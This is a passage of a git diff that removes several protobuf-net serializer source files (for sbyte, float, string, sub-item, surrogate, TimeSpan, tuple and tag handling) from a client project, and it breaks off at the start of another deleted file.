-1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SByteSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (sbyte); -#endif - - public SByteSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(sbyte)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadSByte(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteSByte((sbyte) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteSByte", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadSByte", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/SingleSerializer.cs b/Client/Core/ProtoBuf/Serializers/SingleSerializer.cs deleted file mode 100644 index a44c279f..00000000 --- a/Client/Core/ProtoBuf/Serializers/SingleSerializer.cs +++ /dev/null @@ -1,70 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SingleSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (float); -#endif - - public Type ExpectedType - { - get { return expectedType; } - } - - public SingleSerializer(TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(float)); -#endif - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadSingle(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteSingle((float) value, dest); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteSingle", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadSingle", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/StringSerializer.cs b/Client/Core/ProtoBuf/Serializers/StringSerializer.cs deleted file mode 100644 index 4b9dc951..00000000 --- a/Client/Core/ProtoBuf/Serializers/StringSerializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class StringSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (string); -#endif - - public StringSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(string)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteString((string) value, dest); - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadString(); - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteString", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadString", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/SubItemSerializer.cs b/Client/Core/ProtoBuf/Serializers/SubItemSerializer.cs deleted file mode 100644 index cdd68dd6..00000000 --- a/Client/Core/ProtoBuf/Serializers/SubItemSerializer.cs +++ /dev/null @@ -1,163 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; - -#if FEAT_COMPILER -#if FEAT_IKVM -using IKVM.Reflection.Emit; -using Type = IKVM.Reflection.Type; -#else -using System.Reflection.Emit; -#endif -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SubItemSerializer : IProtoTypeSerializer - { - bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType) - { - return ((IProtoTypeSerializer) proxy.Serializer).HasCallbacks(callbackType); - } - - bool IProtoTypeSerializer.CanCreateInstance() - { - return ((IProtoTypeSerializer) proxy.Serializer).CanCreateInstance(); - } - -#if FEAT_COMPILER - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - ((IProtoTypeSerializer)proxy.Serializer).EmitCallback(ctx, valueFrom, callbackType); - } - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) - { - ((IProtoTypeSerializer)proxy.Serializer).EmitCreateInstance(ctx); - } -#endif -#if !FEAT_IKVM - void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, - SerializationContext context) - { - ((IProtoTypeSerializer) proxy.Serializer).Callback(value, callbackType, context); - } - - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - return ((IProtoTypeSerializer) proxy.Serializer).CreateInstance(source); - } -#endif - - private readonly int key; - private readonly Type type; - private readonly ISerializerProxy proxy; - private readonly bool recursionCheck; - - public SubItemSerializer(Type type, int key, ISerializerProxy proxy, bool recursionCheck) - { - if (type == null) throw new ArgumentNullException("type"); - if (proxy == null) throw new ArgumentNullException("proxy"); - this.type = type; - this.proxy = proxy; - this.key = key; - this.recursionCheck = recursionCheck; - } - - Type IProtoSerializer.ExpectedType - { - get { return type; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return true; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - void IProtoSerializer.Write(object value, ProtoWriter dest) - { - if (recursionCheck) - { - ProtoWriter.WriteObject(value, key, dest); - } - else - { - ProtoWriter.WriteRecursionSafeObject(value, key, dest); - } - } - - object IProtoSerializer.Read(object value, ProtoReader source) - { - return ProtoReader.ReadObject(value, key, source); - } -#endif - -#if FEAT_COMPILER - bool EmitDedicatedMethod(Compiler.CompilerContext ctx, Compiler.Local valueFrom, bool read) - { -#if SILVERLIGHT - return false; -#else - MethodBuilder method = ctx.GetDedicatedMethod(key, read); - if (method == null) return false; - - using (Compiler.Local token = new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken)))) - { - Type rwType = ctx.MapType(read ? typeof(ProtoReader) : typeof(ProtoWriter)); - ctx.LoadValue(valueFrom); - if (!read) // write requires the object for StartSubItem; read doesn't - { // (if recursion-check is disabled [subtypes] then null is fine too) - if (type.IsValueType || !recursionCheck) { ctx.LoadNullRef(); } - else { ctx.CopyValue(); } - } - ctx.LoadReaderWriter(); - ctx.EmitCall(rwType.GetMethod("StartSubItem")); - ctx.StoreValue(token); - - // note: value already on the stack - ctx.LoadReaderWriter(); - ctx.EmitCall(method); - // handle inheritance (we will be calling the *base* version of things, - // but we expect Read to return the "type" type) - if (read && type != method.ReturnType) ctx.Cast(this.type); - ctx.LoadValue(token); - - ctx.LoadReaderWriter(); - ctx.EmitCall(rwType.GetMethod("EndSubItem")); - } - return true; -#endif - } - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (!EmitDedicatedMethod(ctx, valueFrom, false)) - { - ctx.LoadValue(valueFrom); - if (type.IsValueType) ctx.CastToObject(type); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); // re-map for formality, but would expect identical, else dedicated method - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod(recursionCheck ? "WriteObject" : "WriteRecursionSafeObject")); - } - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (!EmitDedicatedMethod(ctx, valueFrom, true)) - { - ctx.LoadValue(valueFrom); - if (type.IsValueType) ctx.CastToObject(type); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); // re-map for formality, but would expect identical, else dedicated method - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ReadObject")); - ctx.CastFromObject(type); - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/SurrogateSerializer.cs b/Client/Core/ProtoBuf/Serializers/SurrogateSerializer.cs deleted file mode 100644 index 84c2499e..00000000 --- a/Client/Core/ProtoBuf/Serializers/SurrogateSerializer.cs +++ /dev/null @@ -1,194 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SurrogateSerializer : IProtoTypeSerializer - { - bool IProtoTypeSerializer.HasCallbacks(ProtoBuf.Meta.TypeModel.CallbackType callbackType) - { - return false; - } - -#if FEAT_COMPILER - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, ProtoBuf.Meta.TypeModel.CallbackType callbackType) { } - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) { throw new NotSupportedException(); } -#endif - - bool IProtoTypeSerializer.CanCreateInstance() - { - return false; - } - -#if !FEAT_IKVM - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - throw new NotSupportedException(); - } - - void IProtoTypeSerializer.Callback(object value, ProtoBuf.Meta.TypeModel.CallbackType callbackType, - SerializationContext context) - { - } -#endif - - public bool ReturnsValue - { - get { return false; } - } - - public bool RequiresOldValue - { - get { return true; } - } - - public Type ExpectedType - { - get { return forType; } - } - - private readonly Type forType, declaredType; - private readonly MethodInfo toTail, fromTail; - private IProtoTypeSerializer rootTail; - - public SurrogateSerializer(TypeModel model, Type forType, Type declaredType, IProtoTypeSerializer rootTail) - { - Helpers.DebugAssert(forType != null, "forType"); - Helpers.DebugAssert(declaredType != null, "declaredType"); - Helpers.DebugAssert(rootTail != null, "rootTail"); - Helpers.DebugAssert(rootTail.RequiresOldValue, "RequiresOldValue"); - Helpers.DebugAssert(!rootTail.ReturnsValue, "ReturnsValue"); - Helpers.DebugAssert(declaredType == rootTail.ExpectedType || - Helpers.IsSubclassOf(declaredType, rootTail.ExpectedType)); - this.forType = forType; - this.declaredType = declaredType; - this.rootTail = rootTail; - toTail = GetConversion(model, true); - fromTail = GetConversion(model, false); - } - - private static bool HasCast(TypeModel model, Type type, Type from, Type to, out MethodInfo op) - { -#if WINRT - System.Collections.Generic.List list = new System.Collections.Generic.List(); - foreach (var item in type.GetRuntimeMethods()) - { - if (item.IsStatic) list.Add(item); - } - MethodInfo[] found = list.ToArray(); -#else - const BindingFlags flags = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic; - MethodInfo[] found = type.GetMethods(flags); -#endif - ParameterInfo[] paramTypes; - Type convertAttributeType = null; - for (int i = 0; i < found.Length; i++) - { - MethodInfo m = found[i]; - if (m.ReturnType != to) continue; - paramTypes = m.GetParameters(); - if (paramTypes.Length == 1 && paramTypes[0].ParameterType == from) - { - if (convertAttributeType == null) - { - convertAttributeType = model.MapType(typeof (ProtoConverterAttribute), false); - if (convertAttributeType == null) - { - // attribute isn't defined in the source assembly: stop looking - break; - } - } - if (m.IsDefined(convertAttributeType, true)) - { - op = m; - return true; - } - } - } - - for (int i = 0; i < found.Length; i++) - { - MethodInfo m = found[i]; - if ((m.Name != "op_Implicit" && m.Name != "op_Explicit") || m.ReturnType != to) - { - continue; - } - paramTypes = m.GetParameters(); - if (paramTypes.Length == 1 && paramTypes[0].ParameterType == from) - { - op = m; - return true; - } - } - op = null; - return false; - } - - public MethodInfo GetConversion(TypeModel model, bool toTail) - { - Type to = toTail ? declaredType : forType; - Type from = toTail ? forType : declaredType; - MethodInfo op; - if (HasCast(model, declaredType, from, to, out op) || HasCast(model, forType, from, to, out op)) - { - return op; - } - throw new InvalidOperationException("No suitable conversion operator found for surrogate: " + - forType.FullName + " / " + declaredType.FullName); - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter writer) - { - rootTail.Write(toTail.Invoke(null, new object[] {value}), writer); - } - - public object Read(object value, ProtoReader source) - { - // convert the incoming value - object[] args = {value}; - value = toTail.Invoke(null, args); - - // invoke the tail and convert the outgoing value - args[0] = rootTail.Read(value, source); - return fromTail.Invoke(null, args); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Helpers.DebugAssert(valueFrom != null); // don't support stack-head for this - using (Compiler.Local converted = new Compiler.Local(ctx, declaredType)) // declare/re-use local - { - ctx.LoadValue(valueFrom); // load primary onto stack - ctx.EmitCall(toTail); // static convert op, primary-to-surrogate - ctx.StoreValue(converted); // store into surrogate local - - rootTail.EmitRead(ctx, converted); // downstream processing against surrogate local - - ctx.LoadValue(converted); // load from surrogate local - ctx.EmitCall(fromTail); // static convert op, surrogate-to-primary - ctx.StoreValue(valueFrom); // store back into primary - } - } - - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.EmitCall(toTail); - rootTail.EmitWrite(ctx, null); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs b/Client/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs deleted file mode 100644 index 0a0cf275..00000000 --- a/Client/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -#if !NO_RUNTIME -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SystemTypeSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (System.Type); -#endif - - public SystemTypeSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(System.Type)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - -#if !FEAT_IKVM - void IProtoSerializer.Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteType((Type) value, dest); - } - - object IProtoSerializer.Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadType(); - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteType", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadType", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/TagDecorator.cs b/Client/Core/ProtoBuf/Serializers/TagDecorator.cs deleted file mode 100644 index eba52a8a..00000000 --- a/Client/Core/ProtoBuf/Serializers/TagDecorator.cs +++ /dev/null @@ -1,130 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TagDecorator : ProtoDecoratorBase, IProtoTypeSerializer - { - public bool HasCallbacks(TypeModel.CallbackType callbackType) - { - IProtoTypeSerializer pts = Tail as IProtoTypeSerializer; - return pts != null && pts.HasCallbacks(callbackType); - } - - public bool CanCreateInstance() - { - IProtoTypeSerializer pts = Tail as IProtoTypeSerializer; - return pts != null && pts.CanCreateInstance(); - } - -#if !FEAT_IKVM - public object CreateInstance(ProtoReader source) - { - return ((IProtoTypeSerializer) Tail).CreateInstance(source); - } - - public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) - { - IProtoTypeSerializer pts = Tail as IProtoTypeSerializer; - if (pts != null) pts.Callback(value, callbackType, context); - } -#endif -#if FEAT_COMPILER - public void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - // we only expect this to be invoked if HasCallbacks returned true, so implicitly Tail - // **must** be of the correct type - ((IProtoTypeSerializer)Tail).EmitCallback(ctx, valueFrom, callbackType); - } - public void EmitCreateInstance(Compiler.CompilerContext ctx) - { - ((IProtoTypeSerializer)Tail).EmitCreateInstance(ctx); - } -#endif - - public override Type ExpectedType - { - get { return Tail.ExpectedType; } - } - - public TagDecorator(int fieldNumber, WireType wireType, bool strict, IProtoSerializer tail) - : base(tail) - { - this.fieldNumber = fieldNumber; - this.wireType = wireType; - this.strict = strict; - } - - public override bool RequiresOldValue - { - get { return Tail.RequiresOldValue; } - } - - public override bool ReturnsValue - { - get { return Tail.ReturnsValue; } - } - - private readonly bool strict; - private readonly int fieldNumber; - private readonly WireType wireType; - - private bool NeedsHint - { - get { return ((int) wireType & ~7) != 0; } - } - -#if !FEAT_IKVM - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(fieldNumber == source.FieldNumber); - if (strict) - { - source.Assert(wireType); - } - else if (NeedsHint) - { - source.Hint(wireType); - } - return Tail.Read(value, source); - } - - public override void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteFieldHeader(fieldNumber, wireType, dest); - Tail.Write(value, dest); - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue((int)fieldNumber); - ctx.LoadValue((int)wireType); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader")); - Tail.EmitWrite(ctx, valueFrom); - } - protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - if (strict || NeedsHint) - { - ctx.LoadReaderWriter(); - ctx.LoadValue((int)wireType); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod(strict ? "Assert" : "Hint")); - } - Tail.EmitRead(ctx, valueFrom); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs b/Client/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs deleted file mode 100644 index b9a4e809..00000000 --- a/Client/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TimeSpanSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (TimeSpan); -#endif - - public TimeSpanSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(TimeSpan)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadTimeSpan(source); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteTimeSpan((TimeSpan) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteTimeSpan", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadTimeSpan", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/TupleSerializer.cs b/Client/Core/ProtoBuf/Serializers/TupleSerializer.cs deleted file mode 100644 index 8e0da209..00000000 --- a/Client/Core/ProtoBuf/Serializers/TupleSerializer.cs +++ /dev/null @@ -1,378 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TupleSerializer : IProtoTypeSerializer - { - private readonly MemberInfo[] members; - private readonly ConstructorInfo ctor; - private IProtoSerializer[] tails; - - public TupleSerializer(RuntimeTypeModel model, ConstructorInfo ctor, MemberInfo[] members) - { - if (ctor == null) throw new ArgumentNullException("ctor"); - if (members == null) throw new ArgumentNullException("members"); - this.ctor = ctor; - this.members = members; - this.tails = new IProtoSerializer[members.Length]; - - ParameterInfo[] parameters = ctor.GetParameters(); - for (int i = 0; i < members.Length; i++) - { - WireType wireType; - Type finalType = parameters[i].ParameterType; - - Type itemType = null, defaultType = null; - - MetaType.ResolveListTypes(model, finalType, ref itemType, ref defaultType); - Type tmp = itemType == null ? finalType : itemType; - - bool asReference = false; - int typeIndex = model.FindOrAddAuto(tmp, false, true, false); - if (typeIndex >= 0) - { - asReference = model[tmp].AsReferenceDefault; - } - IProtoSerializer tail = ValueMember.TryGetCoreSerializer(model, DataFormat.Default, tmp, out wireType, - asReference, false, false, true), - serializer; - if (tail == null) - { - throw new InvalidOperationException("No serializer defined for type: " + tmp.FullName); - } - - tail = new TagDecorator(i + 1, wireType, false, tail); - if (itemType == null) - { - serializer = tail; - } - else - { - if (finalType.IsArray) - { - serializer = new ArrayDecorator(model, tail, i + 1, false, wireType, finalType, false, false); - } - else - { - serializer = ListDecorator.Create(model, finalType, defaultType, tail, i + 1, false, wireType, - true, false, false); - } - } - tails[i] = serializer; - } - } - - public bool HasCallbacks(Meta.TypeModel.CallbackType callbackType) - { - return false; - } - -#if FEAT_COMPILER - public void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, Meta.TypeModel.CallbackType callbackType){} -#endif - - public Type ExpectedType - { - get { return ctor.DeclaringType; } - } - - -#if !FEAT_IKVM - void IProtoTypeSerializer.Callback(object value, Meta.TypeModel.CallbackType callbackType, - SerializationContext context) - { - } - - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - throw new NotSupportedException(); - } - - private object GetValue(object obj, int index) - { - PropertyInfo prop; - FieldInfo field; - - if ((prop = members[index] as PropertyInfo) != null) - { - if (obj == null) - return Helpers.IsValueType(prop.PropertyType) ? Activator.CreateInstance(prop.PropertyType) : null; - return prop.GetValue(obj, null); - } - else if ((field = members[index] as FieldInfo) != null) - { - if (obj == null) - return Helpers.IsValueType(field.FieldType) ? Activator.CreateInstance(field.FieldType) : null; - return field.GetValue(obj); - } - else - { - throw new InvalidOperationException(); - } - } - - public object Read(object value, ProtoReader source) - { - object[] values = new object[members.Length]; - bool invokeCtor = false; - if (value == null) - { - invokeCtor = true; - } - for (int i = 0; i < values.Length; i++) - values[i] = GetValue(value, i); - int field; - while ((field = source.ReadFieldHeader()) > 0) - { - invokeCtor = true; - if (field <= tails.Length) - { - IProtoSerializer tail = tails[field - 1]; - values[field - 1] = tails[field - 1].Read(tail.RequiresOldValue ? values[field - 1] : null, source); - } - else - { - source.SkipField(); - } - } - return invokeCtor ? ctor.Invoke(values) : value; - } - - public void Write(object value, ProtoWriter dest) - { - for (int i = 0; i < tails.Length; i++) - { - object val = GetValue(value, i); - if (val != null) tails[i].Write(val, dest); - } - } -#endif - - public bool RequiresOldValue - { - get { return true; } - } - - public bool ReturnsValue - { - get { return false; } - } - - private Type GetMemberType(int index) - { - Type result = Helpers.GetMemberType(members[index]); - if (result == null) throw new InvalidOperationException(); - return result; - } - - bool IProtoTypeSerializer.CanCreateInstance() - { - return false; - } - -#if FEAT_COMPILER - public void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local loc = ctx.GetLocalWithValue(ctor.DeclaringType, valueFrom)) - { - for (int i = 0; i < tails.Length; i++) - { - Type type = GetMemberType(i); - ctx.LoadAddress(loc, ExpectedType); - switch(members[i].MemberType) - { - case MemberTypes.Field: - ctx.LoadValue((FieldInfo)members[i]); - break; - case MemberTypes.Property: - ctx.LoadValue((PropertyInfo)members[i]); - break; - } - ctx.WriteNullCheckedTail(type, tails[i], null); - } - } - } - - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) { throw new NotSupportedException(); } - - public void EmitRead(Compiler.CompilerContext ctx, Compiler.Local incoming) - { - using (Compiler.Local objValue = ctx.GetLocalWithValue(ExpectedType, incoming)) - { - Compiler.Local[] locals = new Compiler.Local[members.Length]; - try - { - for (int i = 0; i < locals.Length; i++) - { - Type type = GetMemberType(i); - bool store = true; - locals[i] = new Compiler.Local(ctx, type); - if (!ExpectedType.IsValueType) - { - // value-types always read the old value - if (type.IsValueType) - { - switch (Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.Boolean: - case ProtoTypeCode.Byte: - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - case ProtoTypeCode.SByte: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - ctx.LoadValue(0); - break; - case ProtoTypeCode.Int64: - case ProtoTypeCode.UInt64: - ctx.LoadValue(0L); - break; - case ProtoTypeCode.Single: - ctx.LoadValue(0.0F); - break; - case ProtoTypeCode.Double: - ctx.LoadValue(0.0D); - break; - case ProtoTypeCode.Decimal: - ctx.LoadValue(0M); - break; - case ProtoTypeCode.Guid: - ctx.LoadValue(Guid.Empty); - break; - default: - ctx.LoadAddress(locals[i], type); - ctx.EmitCtor(type); - store = false; - break; - } - } - else - { - ctx.LoadNullRef(); - } - if (store) - { - ctx.StoreValue(locals[i]); - } - } - } - - Compiler.CodeLabel skipOld = ExpectedType.IsValueType - ? new Compiler.CodeLabel() - : ctx.DefineLabel(); - if (!ExpectedType.IsValueType) - { - ctx.LoadAddress(objValue, ExpectedType); - ctx.BranchIfFalse(skipOld, false); - } - for (int i = 0; i < members.Length; i++) - { - ctx.LoadAddress(objValue, ExpectedType); - switch (members[i].MemberType) - { - case MemberTypes.Field: - ctx.LoadValue((FieldInfo) members[i]); - break; - case MemberTypes.Property: - ctx.LoadValue((PropertyInfo) members[i]); - break; - } - ctx.StoreValue(locals[i]); - } - - if (!ExpectedType.IsValueType) ctx.MarkLabel(skipOld); - - using (Compiler.Local fieldNumber = new Compiler.Local(ctx, ctx.MapType(typeof (int)))) - { - Compiler.CodeLabel @continue = ctx.DefineLabel(), - processField = ctx.DefineLabel(), - notRecognised = ctx.DefineLabel(); - ctx.Branch(@continue, false); - - Compiler.CodeLabel[] handlers = new Compiler.CodeLabel[members.Length]; - for (int i = 0; i < members.Length; i++) - { - handlers[i] = ctx.DefineLabel(); - } - - ctx.MarkLabel(processField); - - ctx.LoadValue(fieldNumber); - ctx.LoadValue(1); - ctx.Subtract(); // jump-table is zero-based - ctx.Switch(handlers); - - // and the default: - ctx.Branch(notRecognised, false); - for (int i = 0; i < handlers.Length; i++) - { - ctx.MarkLabel(handlers[i]); - IProtoSerializer tail = tails[i]; - Compiler.Local oldValIfNeeded = tail.RequiresOldValue ? locals[i] : null; - ctx.ReadNullCheckedTail(locals[i].Type, tail, oldValIfNeeded); - if (tail.ReturnsValue) - { - if (locals[i].Type.IsValueType) - { - ctx.StoreValue(locals[i]); - } - else - { - Compiler.CodeLabel hasValue = ctx.DefineLabel(), allDone = ctx.DefineLabel(); - - ctx.CopyValue(); - ctx.BranchIfTrue(hasValue, true); // interpret null as "don't assign" - ctx.DiscardValue(); - ctx.Branch(allDone, true); - ctx.MarkLabel(hasValue); - ctx.StoreValue(locals[i]); - ctx.MarkLabel(allDone); - } - } - ctx.Branch(@continue, false); - } - - ctx.MarkLabel(notRecognised); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof (ProtoReader)).GetMethod("SkipField")); - - ctx.MarkLabel(@continue); - ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof (int))); - ctx.CopyValue(); - ctx.StoreValue(fieldNumber); - ctx.LoadValue(0); - ctx.BranchIfGreater(processField, false); - } - for (int i = 0; i < locals.Length; i++) - { - ctx.LoadValue(locals[i]); - } - - ctx.EmitCtor(ctor); - ctx.StoreValue(objValue); - } - finally - { - for (int i = 0; i < locals.Length; i++) - { - if (locals[i] != null) - locals[i].Dispose(); // release for re-use - } - } - } - - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/TypeSerializer.cs b/Client/Core/ProtoBuf/Serializers/TypeSerializer.cs deleted file mode 100644 index cd555c70..00000000 --- 